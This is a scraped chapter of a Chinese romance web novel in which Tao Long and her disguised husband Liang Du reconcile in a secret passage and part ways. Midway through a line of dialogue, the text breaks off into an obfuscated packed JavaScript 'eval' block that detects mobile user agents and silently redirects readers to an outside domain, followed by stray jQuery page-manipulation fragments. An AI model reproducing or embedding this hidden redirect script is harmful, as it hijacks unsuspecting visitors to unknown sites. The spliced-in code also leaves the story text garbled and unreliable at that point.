默认冷灰
24号文字
方正启体

32. 交心

作者:一页粥本书字数:K更新时间:
    陶珑一时有些恍惚。


    眼前这张脸也和那张熟悉的面孔逐渐重合起来。


    但她很快就回过神,意识到自己的失态。


    松开杜成风——不,现在还是叫他梁椟更顺口——的衣领,陶珑也顺势将手从他的手里抽出,后退两步,拉开两人之间的距离。


    “你说的都对。”她道,“我也没什么立场反驳你,那就这样吧。”


    明明是自己一直逼迫梁椟承认一切,可是等到他真的亲口说出结果,为一切画上句号,陶珑心里没有半点快意,只感到了空虚。


    像是之前吊在面前的那根胡萝卜凭空消失了,支撑着她的那口气也散了,她连呛声的欲望都没有,唯有驱不散的疲倦。


    毕竟,梁椟的话术这么多年从来没变过,三年前是这么说的,如今还是这么说的。


    为你好、不想你受罪……


    陶珑低笑一声,没有半分想要争辩的想法。三年前,她似乎也是这么做的。


    她的反应太过平静,梁椟反而心口隐隐刺痛,升起一股难以言说的慌乱感。


    这种慌乱比之以往更甚。


    “……你想知道什么?”梁椟选择了让步,“能说的,我都会说。”


    陶珑掀起眼皮,不咸不淡地扫了他一眼,“已经没有了。”


    昔日与番邦的商人打交道时,陶珑听他们说过本国的一个小故事:


    从前,有个妖怪被仙人封印进了瓶中。


    在瓶子里的前一百年,妖怪想,如果有谁在这个时候能放自己出来,它一定要给那人数不尽的荣华富贵……但是没有任何人找到它。


    熬了五百年,妖怪等得着急了,就想,如果有人在这个时候能放自己出来,那么自己一定会完成对方任意的三个愿望,哪怕是要天上的月亮,自己也会为它摘下来……只是,依旧没有任何人找到它。


    过了一千年,妖怪还在瓶中。它不耐烦了,它很愤怒。它想,这个时候如果有人能够放自己出来,它一定要将那人一口吞下,来报答这迟来千年的“恩情”。如此想着,没过多久,还真的就有一个旅人捡到了瓶子,将妖怪放出。


    妖怪对旅人说,你救了我,想要我怎么报答你?


    旅人兴奋地说出自己的愿望,眼巴巴等待妖怪实现。不成想,妖怪却直接将他一口吞了,狞笑着说,这就是我的报答!


    陶珑现在就是那只在瓶子里待了一千年的妖怪。


    哪怕在上次见面时,梁椟能够亲口承认这一切,她或许都会因放不下心里的执念而起一丝恻隐之心。


    可梁椟没有,依然要装作陌生人。


    既然已经决定放下,又为什么要这样不管三七二十一地冲进火场来救她?


    是为了弥补当年没能救到母亲的遗憾?还是因为别的什么原因?


    过去的三年里,一开始,陶珑的确还在埋怨他,但时间把这点不算锋利的情绪打磨掉棱角,最后只留下一团圆润的怀念。


    哪怕陶珑不愿承认,心里也很清楚,自己就是放不下。


    梁椟不仅是她的丈夫,更是她年少所倾慕之人。陶珑喜欢梁椟的时间,远比恨他的时间要多得多。


    她身边的人自然也看得出来。


    无论如何,她与梁椟过去的情分都是真的,梁椟这次出现后一直在明里暗里帮助自己,也是真的。


    可她一次次试探,一次次询问,一次次想要梁椟给自己透露一些消息——哪怕只有一点也好,不要将她排除在外——全都没能得到回应。


    于是,仅剩的怀念全都融进了当年不曾消解的恨。


    可这种恨又毫无根据,像是小孩在奔跑时摔了一跤,反而去怪父母为什么没有好好扶住自己。


    陶珑闭了闭眼。


    她心里很清楚,梁椟自始至终,其实什么都没有做错。只是阴差阳错之下,一切错误又好像因他而起。


    她的恨本就没有半点道理。


    或许,该放下的,从来都是自己。


    陶珑轻轻吐出一口气,把玩着手上的玉镯,轻描淡写道:“我不是说了?只要一个答案,仅此而已。”


    “……你一开始就看出来了,是不是。”


    梁椟突然开口,分明是提问,却用了十分笃定的语气。


    “是。”陶珑点点头。


    承认得如此痛快,梁椟反而一时间不知该如何继续下去。沉默半晌,他才问:“你是故意进这趟浑水的?”


    陶珑抬起头,似笑非笑地看着他,“你猜?”


    她这副无关痛痒的模样叫梁椟有些火大,忍不住加重了语气,“和陆家有关的事,一旦牵扯进去,就是——”


    陶珑懒得听他把那一通大道理翻来覆去地念,干脆直接打断他的起手,不耐烦地抛出几个字,“所以呢?”


    梁椟立刻哑火,一口气堵在胸膛中不上不下,舌头发苦,眼睛发酸,竟有些无措。


    是,他如今有什么资格去指责陶珑?


    可以和陶珑恩爱两不疑的身份已经是个死人,他如今顶着的,是一张陌生人的皮。


    “走吧。”陶珑不再纠结这些,转身往暗道出口走去,“之前逗你的,这一头开在我的院子里,碰不上任何人。”


    等到她走进暗道,梁椟才拖着沉重的脚步跟上。


    “出去之后,劳烦你先回我那里,给雯芳报个信儿。”


    这头的暗道里也亮着灯,看起来不是才点的。孙家财大气粗,想来是直接把长明灯挂在这里了。


    沉默走在陶珑的身后,梁椟感觉眼前的那道影子飘忽不定,像是随时都会在下一个转弯处消失,彻底离开自己。


    陶珑问:“有别人看到你来吗?”


    梁椟:“……你府里其他人。”


    “那没事儿。”陶珑的声音也忽远忽近的,隔了层纱似的飘进梁椟耳朵里,“之后的事你不必管,我会处理。”


    “所以,这次你连雯芳也没告诉?”


    梁椟加快脚步,想要跟上前面的影子。可不知为何,他们中间好像永远都隔着一段距离,无论怎么努力都越不过去。


    陶珑:“雯芳那丫头,什么心思全写在脸上,给她说不就等于告诉全天下?不过这会儿,她应该也反


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665290|172973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    应过来了。”


    终于到了上行的楼梯,她转过身,认真道:“你的事我不会过问,同样,我的事你也不必操心。”


    梁椟才松快了片刻的心又倏然收紧,闷闷“嗯”了声。


    伸手在墙壁上摸索片刻,暗门大开,透亮的阳光洒进走道里,叫陶珑忍不住眯起眼。


    暗道的出口在书房里。


    孙常志疼爱这个外孙女,在自家宅院里留出最好的院子给她,地界比陶珑如今住的那个宅子还大,暗道自然也不必委委屈屈地藏在卧房中。


    终于回到地面,陶珑长长舒了口气,按捺住想要立刻打开房门晒太阳的冲动,叮嘱道:“这里常年只有早上会来人打扫,不用担心撞上人。院子在西北角,往北走就是小门,开在五柳巷,看你怎么走……总之别叫其他人看见。”


    “知道。”


    扯掉那层窗户纸后,两人不谈感情时,熟稔得仿佛回到昔年。


    梁椟理了理衣襟,忽然问:“衣服怎么办?”


    “随你,别穿到外祖父面前就行。”顿了顿,陶珑挑眉看他,“当然,你要想这么干,也行。”


    梁椟:……


    这当然不会。


    老人家当年就看他不怎么顺眼,见过的几面里,孙常志看他都像看一头拱了自家水灵小白菜的大野猪。梁椟不至于给自己和孙常志同时找不痛快。


    推开门,他准备要走,却又被陶珑叫住。


    “还有件事。”


    梁椟逆光站着,回过头,能看见陶珑整个人都被拢在他的影子里。


    这让他无端生出一种满足感。


    陶珑说:“如果有事需要我出手,直接说就行,不必拐弯抹角。只要能做到,我都会去做。”


    梁椟心里某根弦被拨动,呼吸都停滞了片刻。但他很快想明白,陶珑之前都将话说到了那个份儿上,肯定不会是看在过往情意才对自己说这番话。


    果然,陶珑接着道:“母亲临走前,要我好好照顾你。之前没能办到,是我食言,总归还有补偿的机会。”


    往事在胃里翻江倒海,几乎冲破梁椟的喉咙,叫他呕出来。他强压下不适,努力扯出一丝笑,“好。”


    说罢,不再看陶珑作何反应,匆匆转身离开。


    他有些狼狈地翻墙离开孙家,绕进小巷,无力地靠着墙缓缓瘫倒在地。


    胸口那处传来钻心的疼痛——梁椟苦中作乐地想,这“钻心”还真是字面意思。


    当年,来自南疆的巫医虽然保住了他的性命,但事关生死,哪有只赚不赔的道理?虽是活动如常了,但他身上也留下无药可医的顽疾:


    心绪一旦起伏过大,旧伤就会作痛。发作起来,轻则如现在一般,重则叫人痛不欲生。


    梁椟有幸体验过后一种感觉。


    比起那时的绝望,眼下这点疼痛都算是小问题。所以他干脆就地盘腿而坐,照着巫医交给他的法子来调整气息。


    好半晌,终于平复下心口疼痛,他扶着墙踉跄一下才站起身,掸掸衣摆上的灰尘,重新整理出一派人模狗样,才向着陶家而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)